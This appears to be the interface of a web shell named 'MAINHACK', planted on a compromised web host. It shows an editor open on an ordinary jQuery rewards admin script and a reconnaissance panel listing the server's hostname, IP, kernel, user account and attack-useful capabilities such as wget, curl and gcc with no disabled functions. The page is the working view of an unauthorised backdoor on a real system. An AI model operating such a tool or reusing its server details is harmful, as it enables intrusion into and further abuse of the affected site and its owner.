[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: rewards_items.js
(function () { "use strict"; var $rewardSettingModal = $('#rewardSettingModal'); $('body').on('click', '.js-add-new-reward', function (e) { $rewardSettingModal.modal('show'); }); $('body').on('click', '.js-save-reward', function (e) { e.preventDefault(); const $this = $(this); $this.addClass('loadingbar gray').prop('disabled', true); const $form = $rewardSettingModal.find('form'); const data = $form.serializeObject(); $.post(adminPanelPrefix + '/rewards/items', data, function (result) { Swal.fire({ icon: 'success', html: '<h3 class="font-20 text-center text-dark-blue py-25">' + saveSuccessLang + '</h3>', showConfirmButton: false, width: '25rem', }); setTimeout(() => { window.location.reload(); }, 500); }).fail(err => { $this.removeClass('loadingbar gray').prop('disabled', false); var errors = err.responseJSON; if (errors && errors.errors) { Object.keys(errors.errors).forEach((key) => { const error = errors.errors[key]; let element = $form.find('[name="' + key + '"]'); element.addClass('is-invalid'); element.parent().find('.invalid-feedback').text(error[0]); }); } }); }); $('body').on('click', '.js-edit-reward', function (e) { const $this = $(this); const id = $this.attr('data-id'); const $form = $rewardSettingModal.find('form'); removeAppendedInput(); loadingSwl(); $.get(`${adminPanelPrefix}/rewards/items/${id}`, function (result) { if (result && result.reward) { const {reward} = result; $rewardSettingModal.find('input[name="score"]').val(reward.score); $rewardSettingModal.find('select[name="type"]').val(reward.type); $rewardSettingModal.find('input[name="condition"]').val(reward.condition); $rewardSettingModal.find('input[name="status"]').prop('checked', (reward.status === 'active')); $form.prepend(`<input type="hidden" name="reward_id" value="${id}"/>`); handleVisibilityInputsByType(reward.type); $rewardSettingModal.modal('show'); setTimeout(() => { Swal.close(); }, 500) } }); }); $('body').on('change', '#rewardSettingModal select[name="type"]', function () { const value = $(this).val(); handleVisibilityInputsByType(value) }); function handleVisibilityInputsByType(type) { const scoreInput = $('.js-score-input'); const conditionInput = $('.js-condition-input'); scoreInput.removeClass('d-none'); if (type === 'badge') { scoreInput.addClass('d-none'); } conditionInput.addClass('d-none'); if ($.inArray(type, ['charge_wallet', 'account_charge', 'buy', 'buy_store_product']) !== -1) { conditionInput.removeClass('d-none'); } } function removeAppendedInput() { const input = $rewardSettingModal.find('input[name="reward_id"]'); if (input) { input.remove(); } } })(jQuery);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285